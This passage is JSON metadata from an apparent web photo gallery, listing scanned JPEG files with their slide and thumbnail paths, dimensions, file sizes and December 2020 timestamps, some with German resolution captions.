    S22C-620121516230 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516230_0001.jpg","width":340,"height":260},"fileSize":434894,"name":"S22C-620121516230_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121516442_0001.jpg","image":{"path":"slides\/S22C-620121516442_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121516442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121516442_0001.jpg","width":340,"height":260},"fileSize":436359,"name":"S22C-620121516442_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513251_0001.jpg","image":{"path":"slides\/S22C-620121513251_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513251 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513251_0001.jpg","width":340,"height":260},"fileSize":332892,"name":"S22C-620121513251_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513250_0001.jpg","image":{"path":"slides\/S22C-620121513250_0001.jpg","width":566,"height":800},"imageCaption":"
    S22C-620121513250 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513250_0001.jpg","width":340,"height":260},"fileSize":190650,"name":"S22C-620121513250_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019061_0001.jpg","image":{"path":"slides\/S22C-620121019061_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019061_0001.jpg","width":340,"height":260},"fileSize":739277,"name":"S22C-620121019061_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121513040_0001.jpg","image":{"path":"slides\/S22C-620121513040_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121513040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121513040_0001.jpg","width":340,"height":260},"fileSize":755459,"name":"S22C-620121513040_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121019120_0001.jpg","image":{"path":"slides\/S22C-620121019120_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121019120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121019120_0001.jpg","width":340,"height":260},"fileSize":1006298,"name":"S22C-620121019120_0001.jpg","dates":{"dateTaken":1608229250},"fileDate":"2020-12-17T19:20:50.0Z","category":"image","camera":{"originalDate":"2020-12-17T19:20:50.0Z"}},{"path":"S22C-620121018270_0001.jpg","image":{"path":"slides\/S22C-620121018270_0001.jpg","width":1000,"height":707},"imageCaption":"
    S22C-620121018270 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018270_0001.jpg","width":340,"height":260},"fileSize":193192,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018270_0001.jpg","dates":{"dateTaken":1608392139},"fileDate":"2020-12-19T16:35:39.147Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:39.147Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018280_0001.jpg","image":{"path":"slides\/S22C-620121018280_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018280 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018280_0001.jpg","width":340,"height":260},"fileSize":449368,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018280_0001.jpg","dates":{"dateTaken":1608392141},"fileDate":"2020-12-19T16:35:41.945Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:41.945Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018302_0001.jpg","image":{"path":"slides\/S22C-620121018302_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018302 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018302_0001.jpg","width":340,"height":260},"fileSize":844233,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018302_0001.jpg","dates":{"dateTaken":1608392144},"fileDate":"2020-12-19T16:35:44.370Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:44.370Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018331_0001.jpg","image":{"path":"slides\/S22C-620121018331_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018331 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018331_0001.jpg","width":340,"height":260},"fileSize":516763,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018331_0001.jpg","dates":{"dateTaken":1608392147},"fileDate":"2020-12-19T16:35:47.486Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:47.486Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018340_0001.jpg","image":{"path":"slides\/S22C-620121018340_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018340 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018340_0001.jpg","width":340,"height":260},"fileSize":347208,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018340_0001.jpg","dates":{"dateTaken":1608392148},"fileDate":"2020-12-19T16:35:48.662Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:48.662Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018342_0001.jpg","image":{"path":"slides\/S22C-620121018342_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018342 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018342_0001.jpg","width":340,"height":260},"fileSize":299435,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018342_0001.jpg","dates":{"dateTaken":1608392150},"fileDate":"2020-12-19T16:35:50.118Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:50.118Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018350_0001.jpg","image":{"path":"slides\/S22C-620121018350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018350_0001.jpg","width":340,"height":260},"fileSize":189666,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018350_0001.jpg","dates":{"dateTaken":1608392151},"fileDate":"2020-12-19T16:35:51.427Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:51.427Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018351_0001.jpg","image":{"path":"slides\/S22C-620121018351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018351_0001.jpg","width":340,"height":260},"fileSize":412126,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018351_0001.jpg","dates":{"dateTaken":1608392155},"fileDate":"2020-12-19T16:35:55.99Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:55.99Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018360_0001.jpg","image":{"path":"slides\/S22C-620121018360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018360_0001.jpg","width":340,"height":260},"fileSize":214607,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018360_0001.jpg","dates":{"dateTaken":1608392156},"fileDate":"2020-12-19T16:35:56.536Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:56.536Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018370_0001.jpg","image":{"path":"slides\/S22C-620121018370_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018370_0001.jpg","width":340,"height":260},"fileSize":586423,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018370_0001.jpg","dates":{"dateTaken":1608392159},"fileDate":"2020-12-19T16:35:59.114Z","category":"image","camera":{"originalDate":"2020-12-19T16:35:59.114Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018380_0001.jpg","image":{"path":"slides\/S22C-620121018380_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018380 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018380_0001.jpg","width":340,"height":260},"fileSize":325826,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018380_0001.jpg","dates":{"dateTaken":1608392162},"fileDate":"2020-12-19T16:36:02.464Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:02.464Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018381_0001.jpg","image":{"path":"slides\/S22C-620121018381_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018381 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018381_0001.jpg","width":340,"height":260},"fileSize":352693,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018381_0001.jpg","dates":{"dateTaken":1608392164},"fileDate":"2020-12-19T16:36:04.378Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:04.378Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018382_0001.jpg","image":{"path":"slides\/S22C-620121018382_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018382 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018382_0001.jpg","width":340,"height":260},"fileSize":289677,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018382_0001.jpg","dates":{"dateTaken":1608392167},"fileDate":"2020-12-19T16:36:07.17Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:07.17Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018390_0001.jpg","image":{"path":"slides\/S22C-620121018390_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018390 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018390_0001.jpg","width":340,"height":260},"fileSize":487502,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018390_0001.jpg","dates":{"dateTaken":1608392168},"fileDate":"2020-12-19T16:36:08.276Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:08.276Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018391_0001.jpg","image":{"path":"slides\/S22C-620121018391_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018391 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018391_0001.jpg","width":340,"height":260},"fileSize":285241,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018391_0001.jpg","dates":{"dateTaken":1608392170},"fileDate":"2020-12-19T16:36:10.494Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:10.494Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018392_0001.jpg","image":{"path":"slides\/S22C-620121018392_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018392 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018392_0001.jpg","width":340,"height":260},"fileSize":160344,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018392_0001.jpg","dates":{"dateTaken":1608392171},"fileDate":"2020-12-19T16:36:11.733Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:11.733Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018400_0001.jpg","image":{"path":"slides\/S22C-620121018400_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018400 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018400_0001.jpg","width":340,"height":260},"fileSize":530716,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018400_0001.jpg","dates":{"dateTaken":1608392173},"fileDate":"2020-12-19T16:36:13.843Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:13.843Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018401_0001.jpg","image":{"path":"slides\/S22C-620121018401_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018401 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018401_0001.jpg","width":340,"height":260},"fileSize":440279,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018401_0001.jpg","dates":{"dateTaken":1608392175},"fileDate":"2020-12-19T16:36:15.995Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:15.995Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018402_0001.jpg","image":{"path":"slides\/S22C-620121018402_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018402 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018402_0001.jpg","width":340,"height":260},"fileSize":170528,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018402_0001.jpg","dates":{"dateTaken":1608392178},"fileDate":"2020-12-19T16:36:18.92Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:18.92Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018412_0001.jpg","image":{"path":"slides\/S22C-620121018412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018412_0001.jpg","width":340,"height":260},"fileSize":265449,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018412_0001.jpg","dates":{"dateTaken":1608392180},"fileDate":"2020-12-19T16:36:20.231Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:20.231Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018413_0001.jpg","image":{"path":"slides\/S22C-620121018413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018413_0001.jpg","width":340,"height":260},"fileSize":204560,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018413_0001.jpg","dates":{"dateTaken":1608392182},"fileDate":"2020-12-19T16:36:22.263Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:22.263Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018420_0001.jpg","image":{"path":"slides\/S22C-620121018420_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018420_0001.jpg","width":340,"height":260},"fileSize":466514,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018420_0001.jpg","dates":{"dateTaken":1608392184},"fileDate":"2020-12-19T16:36:24.92Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:24.92Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018421_0001.jpg","image":{"path":"slides\/S22C-620121018421_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121018421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018421_0001.jpg","width":340,"height":260},"fileSize":449263,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018421_0001.jpg","dates":{"dateTaken":1608392187},"fileDate":"2020-12-19T16:36:27.689Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:27.689Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018422_0001.jpg","image":{"path":"slides\/S22C-620121018422_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018422_0001.jpg","width":340,"height":260},"fileSize":555377,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018422_0001.jpg","dates":{"dateTaken":1608392188},"fileDate":"2020-12-19T16:36:28.951Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:28.951Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018430_0001.jpg","image":{"path":"slides\/S22C-620121018430_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018430_0001.jpg","width":340,"height":260},"fileSize":598497,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018430_0001.jpg","dates":{"dateTaken":1608392190},"fileDate":"2020-12-19T16:36:30.314Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:30.314Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018440_0001.jpg","image":{"path":"slides\/S22C-620121018440_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018440_0001.jpg","width":340,"height":260},"fileSize":350355,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018440_0001.jpg","dates":{"dateTaken":1608392192},"fileDate":"2020-12-19T16:36:32.432Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:32.432Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018442_0001.jpg","image":{"path":"slides\/S22C-620121018442_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018442_0001.jpg","width":340,"height":260},"fileSize":350626,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018442_0001.jpg","dates":{"dateTaken":1608392194},"fileDate":"2020-12-19T16:36:34.421Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:34.421Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018450_0001.jpg","image":{"path":"slides\/S22C-620121018450_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018450_0001.jpg","width":340,"height":260},"fileSize":439134,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018450_0001.jpg","dates":{"dateTaken":1608392199},"fileDate":"2020-12-19T16:36:39.79Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:39.79Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018461_0001.jpg","image":{"path":"slides\/S22C-620121018461_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018461 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018461_0001.jpg","width":340,"height":260},"fileSize":661242,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018461_0001.jpg","dates":{"dateTaken":1608392204},"fileDate":"2020-12-19T16:36:44.217Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:44.217Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018463_0001.jpg","image":{"path":"slides\/S22C-620121018463_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018463 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018463_0001.jpg","width":340,"height":260},"fileSize":479314,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018463_0001.jpg","dates":{"dateTaken":1608392207},"fileDate":"2020-12-19T16:36:47.816Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:47.816Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018471_0001.jpg","image":{"path":"slides\/S22C-620121018471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018471_0001.jpg","width":340,"height":260},"fileSize":297903,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018471_0001.jpg","dates":{"dateTaken":1608392211},"fileDate":"2020-12-19T16:36:51.91Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:51.91Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018472_0001.jpg","image":{"path":"slides\/S22C-620121018472_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018472 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018472_0001.jpg","width":340,"height":260},"fileSize":295836,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018472_0001.jpg","dates":{"dateTaken":1608392213},"fileDate":"2020-12-19T16:36:53.192Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:53.192Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018480_0001.jpg","image":{"path":"slides\/S22C-620121018480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018480_0001.jpg","width":340,"height":260},"fileSize":405454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018480_0001.jpg","dates":{"dateTaken":1608392214},"fileDate":"2020-12-19T16:36:54.396Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:54.396Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018490_0001.jpg","image":{"path":"slides\/S22C-620121018490_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018490 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018490_0001.jpg","width":340,"height":260},"fileSize":396948,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018490_0001.jpg","dates":{"dateTaken":1608392217},"fileDate":"2020-12-19T16:36:57.758Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:57.758Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018491_0001.jpg","image":{"path":"slides\/S22C-620121018491_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018491 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018491_0001.jpg","width":340,"height":260},"fileSize":470449,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018491_0001.jpg","dates":{"dateTaken":1608392219},"fileDate":"2020-12-19T16:36:59.24Z","category":"image","camera":{"originalDate":"2020-12-19T16:36:59.24Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018492_0001.jpg","image":{"path":"slides\/S22C-620121018492_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018492 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018492_0001.jpg","width":340,"height":260},"fileSize":570726,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018492_0001.jpg","dates":{"dateTaken":1608392220},"fileDate":"2020-12-19T16:37:00.283Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:00.283Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018493_0001.jpg","image":{"path":"slides\/S22C-620121018493_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018493 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018493_0001.jpg","width":340,"height":260},"fileSize":345514,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018493_0001.jpg","dates":{"dateTaken":1608392221},"fileDate":"2020-12-19T16:37:01.540Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:01.540Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018500_0001.jpg","image":{"path":"slides\/S22C-620121018500_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018500 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018500_0001.jpg","width":340,"height":260},"fileSize":582017,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018500_0001.jpg","dates":{"dateTaken":1608392222},"fileDate":"2020-12-19T16:37:02.890Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:02.890Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018501_0001.jpg","image":{"path":"slides\/S22C-620121018501_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018501 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018501_0001.jpg","width":340,"height":260},"fileSize":497174,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018501_0001.jpg","dates":{"dateTaken":1608392224},"fileDate":"2020-12-19T16:37:04.108Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:04.108Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018502_0001.jpg","image":{"path":"slides\/S22C-620121018502_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018502 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018502_0001.jpg","width":340,"height":260},"fileSize":474807,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018502_0001.jpg","dates":{"dateTaken":1608392225},"fileDate":"2020-12-19T16:37:05.347Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:05.347Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018503_0001.jpg","image":{"path":"slides\/S22C-620121018503_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018503 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018503_0001.jpg","width":340,"height":260},"fileSize":362832,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018503_0001.jpg","dates":{"dateTaken":1608392226},"fileDate":"2020-12-19T16:37:06.503Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:06.503Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018504_0001.jpg","image":{"path":"slides\/S22C-620121018504_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018504 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018504_0001.jpg","width":340,"height":260},"fileSize":209105,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018504_0001.jpg","dates":{"dateTaken":1608392227},"fileDate":"2020-12-19T16:37:07.561Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:07.561Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018510_0001.jpg","image":{"path":"slides\/S22C-620121018510_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018510 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018510_0001.jpg","width":340,"height":260},"fileSize":288716,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018510_0001.jpg","dates":{"dateTaken":1608392228},"fileDate":"2020-12-19T16:37:08.872Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:08.872Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018512_0001.jpg","image":{"path":"slides\/S22C-620121018512_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018512 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018512_0001.jpg","width":340,"height":260},"fileSize":207430,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018512_0001.jpg","dates":{"dateTaken":1608392229},"fileDate":"2020-12-19T16:37:09.985Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:09.985Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018513_0001.jpg","image":{"path":"slides\/S22C-620121018513_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018513 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018513_0001.jpg","width":340,"height":260},"fileSize":230953,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018513_0001.jpg","dates":{"dateTaken":1608392231},"fileDate":"2020-12-19T16:37:11.451Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:11.451Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018521_0001.jpg","image":{"path":"slides\/S22C-620121018521_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018521 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018521_0001.jpg","width":340,"height":260},"fileSize":213281,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018521_0001.jpg","dates":{"dateTaken":1608392232},"fileDate":"2020-12-19T16:37:12.598Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:12.598Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018522_0001.jpg","image":{"path":"slides\/S22C-620121018522_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018522 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018522_0001.jpg","width":340,"height":260},"fileSize":473486,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018522_0001.jpg","dates":{"dateTaken":1608392233},"fileDate":"2020-12-19T16:37:13.862Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:13.862Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018524_0001.jpg","image":{"path":"slides\/S22C-620121018524_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121018524 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121018524_0001.jpg","width":340,"height":260},"fileSize":197198,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121018524_0001.jpg","dates":{"dateTaken":1608392234},"fileDate":"2020-12-19T16:37:14.881Z","category":"image","camera":{"originalDate":"2020-12-19T16:37:14.881Z","resolution":"1653 x 2338"}},{"path":"S22C-620121018530_0001.jpg","image":{"path":"slides\/S22C-620121018530_0001.jpg","width":1000,"height":707},"imageCaption":"

